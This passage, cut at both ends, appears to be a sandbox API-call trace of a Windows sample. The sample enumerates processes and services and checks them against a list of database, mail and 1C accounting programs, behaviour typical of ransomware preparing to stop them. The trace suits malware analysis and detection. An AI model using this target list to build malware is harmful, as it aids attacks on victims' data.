dwFlags=0x0, lpMem=0x41d9f00 | out: hHeap=0x300000) returned 1 [0153.271] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370 [0153.273] Process32FirstW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.273] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0153.273] lstrlenW (lpString="System") returned 6 [0153.273] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0153.273] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0153.273] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0153.274] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0153.274] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0153.274] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0153.274] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0153.274] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0153.274] lstrlenW (lpString="smss.exe") returned 8 [0153.274] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0153.274] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0153.274] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0153.274] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0153.274] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0153.274] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0153.274] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0153.274] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0153.275] lstrlenW (lpString="csrss.exe") returned 9 [0153.275] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0153.275] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0153.275] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0153.275] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0153.275] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0153.275] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0153.275] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0153.275] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0153.275] lstrlenW (lpString="wininit.exe") returned 11 [0153.275] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0153.275] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0153.275] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0153.276] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0153.276] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0153.276] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0153.276] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0153.276] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0153.276] lstrlenW (lpString="csrss.exe") returned 9 [0153.276] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0153.276] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0153.276] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0153.276] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0153.276] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0153.276] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0153.277] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0153.277] lstrlenW (lpString="winlogon.exe") returned 12 [0153.277] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0153.277] lstrlenW (lpString="services.exe") returned 12 [0153.278] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0153.278] lstrlenW (lpString="lsass.exe") returned 9 [0153.278] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0153.278] lstrlenW (lpString="lsm.exe") returned 7 [0153.278] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.279] lstrlenW (lpString="svchost.exe") returned 11 [0153.279] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.279] lstrlenW (lpString="svchost.exe") returned 11 [0153.279] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.279] lstrlenW (lpString="svchost.exe") returned 11 [0153.279] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.280] lstrlenW (lpString="svchost.exe") returned 11 [0153.280] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.280] lstrlenW (lpString="svchost.exe") returned 11 [0153.280] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0153.281] lstrlenW (lpString="audiodg.exe") returned 11 [0153.281] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.281] lstrlenW (lpString="svchost.exe") returned 11 [0153.281] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.282] lstrlenW (lpString="svchost.exe") returned 11 [0153.282] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0153.282] lstrlenW (lpString="spoolsv.exe") returned 11 [0153.282] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0153.282] lstrlenW (lpString="taskhost.exe") returned 12 [0153.283] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.283] lstrlenW (lpString="svchost.exe") returned 11 [0153.283] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0153.283] lstrlenW (lpString="userinit.exe") returned 12 [0153.283] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0153.284] lstrlenW (lpString="dwm.exe") returned 7 [0153.284] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0153.284] lstrlenW (lpString="explorer.exe") returned 12 [0153.284] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0153.284] lstrlenW (lpString="3G6885.exe") returned 10 [0153.285] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0153.285] lstrlenW (lpString="reader_sl.exe") returned 13 [0153.285] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0153.285] lstrlenW (lpString="drvinst.exe") returned 11 [0153.285] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0153.286] lstrlenW (lpString="taskhost.exe") returned 12 [0153.286] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0153.286] lstrlenW (lpString="consent.exe") returned 11 [0153.286] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0153.286] CloseHandle (hObject=0x370) returned 1 [0153.286] Sleep (dwMilliseconds=0x1f4) [0154.236] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8978 [0154.237] EnumServicesStatusExW (in: hSCManager=0x41d8978, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0154.237] GetLastError () returned 0xea [0154.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41f77d0 [0154.237] EnumServicesStatusExW (in: hSCManager=0x41d8978, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f77d0, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f77d0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0154.238] CloseServiceHandle (hSCObject=0x41d8978) returned 1 [0154.238] lstrlenW (lpString="Appinfo") returned 7 [0154.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0154.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0154.239] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0154.239] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0154.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0154.239] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0154.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0154.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0154.239] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0154.239] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0154.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0154.239] lstrlenW (lpString="AudioSrv") returned 8 [0154.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0154.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0154.239] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0154.239] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0154.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0154.239] lstrlenW (lpString="BFE") returned 3 [0154.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0154.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0154.239] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0154.239] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0154.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0154.239] lstrlenW (lpString="CryptSvc") returned 8 [0154.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0154.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0154.240] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0154.240] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0154.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0154.240] lstrlenW (lpString="CscService") returned 10 [0154.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0154.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0154.240] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0154.240] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0154.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0154.240] lstrlenW (lpString="DcomLaunch") returned 10 [0154.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0154.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0154.240] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0154.240] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0154.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0154.240] lstrlenW (lpString="Dhcp") returned 4 [0154.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0154.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0154.240] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0154.240] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0154.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0154.240] lstrlenW (lpString="Dnscache") returned 8 [0154.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0154.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0154.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0154.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0154.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0154.241] lstrlenW (lpString="DPS") returned 3 [0154.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0154.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0154.241] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0154.241] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0154.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0154.241] lstrlenW (lpString="eventlog") returned 8 [0154.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0154.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0154.241] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0154.241] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0154.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0154.241] lstrlenW (lpString="EventSystem") returned 11 [0154.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0154.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0154.241] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0154.241] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0154.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0154.241] lstrlenW (lpString="gpsvc") returned 5 [0154.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0154.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0154.242] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0154.242] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0154.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0154.242] lstrlenW (lpString="iphlpsvc") returned 8 [0154.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0154.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0154.242] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0154.242] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0154.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0154.242] lstrlenW (lpString="LanmanServer") returned 12 [0154.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0154.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0154.242] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0154.242] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0154.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0154.242] lstrlenW (lpString="LanmanWorkstation") returned 17 [0154.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0154.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0154.242] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0154.242] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0154.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0154.243] lstrlenW (lpString="lmhosts") returned 7 [0154.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0154.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0154.243] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0154.243] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0154.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0154.243] lstrlenW (lpString="MMCSS") returned 5 [0154.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0154.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0154.243] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0154.243] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0154.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0154.243] lstrlenW (lpString="MpsSvc") returned 6 [0154.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0154.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0154.243] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0154.243] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0154.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0154.243] lstrlenW (lpString="Netman") returned 6 [0154.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0154.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0154.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0154.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0154.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0154.244] lstrlenW (lpString="netprofm") returned 8 [0154.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0154.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0154.244] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0154.244] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0154.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0154.244] lstrlenW (lpString="NlaSvc") returned 6 [0154.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0154.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0154.244] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0154.244] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0154.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0154.244] lstrlenW (lpString="nsi") returned 3 [0154.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0154.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0154.244] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0154.244] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0154.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0154.244] lstrlenW (lpString="PcaSvc") returned 6 [0154.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0154.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0154.244] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0154.244] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0154.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0154.244] lstrlenW (lpString="PlugPlay") returned 8 [0154.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0154.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0154.245] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0154.245] lstrcmpiW 